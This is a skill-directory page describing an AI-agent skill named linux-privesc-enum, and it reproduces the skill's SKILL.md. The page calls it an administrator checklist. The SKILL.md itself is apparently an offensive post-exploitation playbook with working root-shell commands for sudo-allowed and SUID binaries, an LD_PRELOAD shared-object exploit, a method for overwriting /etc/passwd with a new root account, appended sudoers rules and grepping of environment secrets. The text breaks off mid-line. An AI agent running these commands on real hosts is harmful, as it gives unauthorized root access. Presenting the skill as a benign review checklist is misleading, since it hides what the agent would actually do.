Skip to content
Skillpedia
Security6.5k Β· #14135

linux-privesc-enum

What it does

This guide lists the order in which Linux privilege settings should be reviewed. It is for system administrators and authorized testers who need to find weak permission settings.

When to use it

  • βœ“When a system administrator wants to review sudo rules and special file permissions on a Linux server.
  • βœ“When an authorized test needs a structured checklist for local privilege settings.
  • βœ“When a team wants to confirm that scheduled jobs and writable paths are safe.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you walk through a privilege review of our Linux server, starting with sudo rules and special permissions?”

5 new skills a week. 1 minute to read.

How it works

The agent works through the phases in order, from identity and system details to sudo rules, special permission files, scheduled jobs and writable paths, and records each weak setting it finds.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Linux Privilege Escalation β€” Systematic Enumeration Methodology

Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 β€” hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.

Authorized use only. Run only on systems you own or have explicit written permission to test.


Phase 0 β€” Situational Awareness (always first)

Establish identity, OS, and architecture before anything else. Every later phase depends on this context.

# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'

# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version

# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH

# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts

# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40

Phase 1 β€” Sudo (highest yield, lowest noise)

Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.

sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim       β†’ vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3   β†’ python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find      β†’ find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less      β†’ less /etc/shadow  then: !sh
# (root) NOPASSWD: /usr/bin/awk       β†’ awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar       β†’ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env       β†’ env /bin/sh
# (root) NOPASSWD: /usr/bin/zip       β†’ zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man       β†’ man man  then: !sh
# (root) NOPASSWD: /usr/bin/ftp       β†’ ftp  then: !sh
# (root) NOPASSWD: /bin/cp            β†’ overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee       β†’ echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned

GTFOBins lookup workflow

For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo β€” filter for "sudo" column.

Sudo env_keep abuse

# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>

Phase 2 β€” SUID / SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
    find / -name "$bin" -perm -4000 2>/dev/null
done

Common SUID exploitation patterns

# bash / sh with SUID β€” direct root shell
/bin/bash -p          # -p preserves effective UID

# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit

# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'

# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive   # then: !sh

# cp β€” overwrite /etc/passwd
openssl passwd -1 -salt salt hackme        # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2  # password: hackme

# env
/usr/bin/env /bin/bash -p

# tee β€” append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers

Phase 3 β€” Linux Capabilities

Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.

getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep   β†’ direct UID 0
# cap_setgid+ep   β†’ direct GID 0
# cap_dac_read_search+ep β†’ re
FAQ

Why follow a fixed order?

The guide says ordered checks are more reliable than random commands, and the first real problem is validated before moving on.

What is sudo misconfiguration?

It is when a user is allowed to run a program as root in a way that can be abused.

Who should run it?

Administrators and authorized testers on systems they own or are permitted to test.

Details

Original description by the author

Systematic Linux privilege-escalation enumeration methodology β€” ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14135
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills